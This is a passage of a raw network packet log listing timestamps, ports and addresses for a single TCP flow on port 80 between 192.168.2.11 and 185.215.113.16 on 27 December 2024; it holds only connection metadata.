Dec 27, 2024 09:02:48.508384943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.508467913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.508513927 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.509207964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.509304047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.509352922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.510138035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.510207891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.510652065 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.510984898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.511102915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.511157036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.511811972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.511981010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.512061119 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.512676001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.512825966 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.512871981 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.513569117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.513645887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.513686895 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.514417887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.514571905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.514630079 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.515306950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.515414000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.515561104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.516211987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.516308069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.516356945 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.517088890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.517191887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.517514944 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.517944098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.518037081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.518085957 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.518786907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.518866062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.518975973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.519654036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.519768000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.519807100 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.520576954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.520617008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.520797968 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.521439075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.521620989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.521663904 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.522275925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.522429943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.522592068 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.523153067 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.523225069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.523264885 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.524014950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.524123907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.524167061 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.524907112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.524986029 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.525779963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.525831938 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.525861025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.526489973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.526680946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.526803970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.526957035 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.527498960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.527647972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.527695894 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.528386116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.528492928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.528528929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.529242992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.529350996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.529412985 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.530124903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.530226946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.530261993 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.530980110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.574573040 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.600373030 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.600492954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.600513935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.600554943 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.600569963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.600605965 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.601347923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.601440907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.601531982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.602190971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.602312088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.602344990 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.603059053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.603279114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.603327990 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.603929043 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.604046106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.604110956 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.604819059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.604927063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.604970932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.605664015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.605839968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.605931044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.606580019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.606663942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.606848001 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.607439995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.607530117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.607573986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.608278036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.608402967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.608441114 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.609213114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.609312057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.609350920 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.610057116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.610196114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.610239983 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.610950947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.611027002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.611080885 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.612947941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.613073111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.613142014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.613209009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.613300085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.613390923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.614130020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.614308119 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.614378929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.614960909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.615071058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.615847111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.615875959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.615937948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.615987062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.616692066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.616734982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.616810083 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.617551088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.617654085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.618376017 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.618431091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.668299913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.704284906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.704397917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.704463959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.704555988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.704718113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.704771996 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.705446005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.705615997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.705661058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.706321001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.706409931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.706459999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.707242966 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.707360983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.707395077 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.708115101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.708203077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.708247900 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.708996058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.709161997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.709204912 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.709803104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.709897041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.709947109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.710664988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.710783958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.710835934 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.711616039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.711668968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.711774111 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.712394953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.712512970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.712579012 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.713243961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.713356018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.713397026 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.714184999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.714246988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.714359045 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.715035915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.715142965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.715183973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.715892076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.716043949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.716099024 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.716761112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.716849089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.716895103 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.717715025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.717727900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.717776060 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.718508959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.718522072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.718822002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.719350100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.719445944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.720192909 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.720264912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.720309019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.720350027 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.721117020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.721216917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.721270084 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.721977949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.722122908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.722171068 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.722964048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.722976923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.723023891 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.723758936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.723875999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.723970890 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.724592924 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.724719048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.724822998 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.725481033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.725579023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.725629091 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.726358891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.726460934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.726510048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.727247953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.727340937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.727384090 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.728064060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.728423119 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.728943110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.728997946 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.729140043 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.729300022 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.729849100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.729963064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.730005026 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.730694056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.730849028 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.730897903 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.743561983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.743581057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.743592978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.743640900 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.801901102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.801944017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.802102089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.802194118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.802227974 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.802978992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.803138971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.803162098 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.803829908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.803878069 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.803936958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.804692984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.804806948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.804836035 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.805646896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.805694103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.805722952 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.806446075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.806551933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.806581020 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.807331085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.807451963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.807480097 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.808135033 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.808192968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.808303118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.809102058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.809186935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.809551954 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.809937954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.810060978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.810801029 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.810897112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.811711073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.811743975 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.811852932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.812539101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.812572002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.814481974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.814558029 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.814587116 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.814798117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.814857960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.814896107 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.815617085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.815747023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.815772057 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.816536903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.816601992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.817503929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.817517042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.817550898 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.818283081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.818428040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.819211006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.819222927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.819871902 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.871454954 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.905688047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.905714989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.905790091 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.905914068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.906028986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.906863928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.906907082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.907715082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.907744884 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.907833099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.907960892 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.908530951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.908688068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.909392118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.909415007 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.909559011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.910263062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.910290003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.910382986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.911181927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.911207914 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.911253929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.911686897 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.911998987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.912142992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.912935972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.912961006 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.912997961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.913749933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.913774967 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.913840055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.914674044 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.914701939 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.914824963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.915508032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.915530920 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.915647984 CET	80	49768	185.215.113.16	192.168.2.11
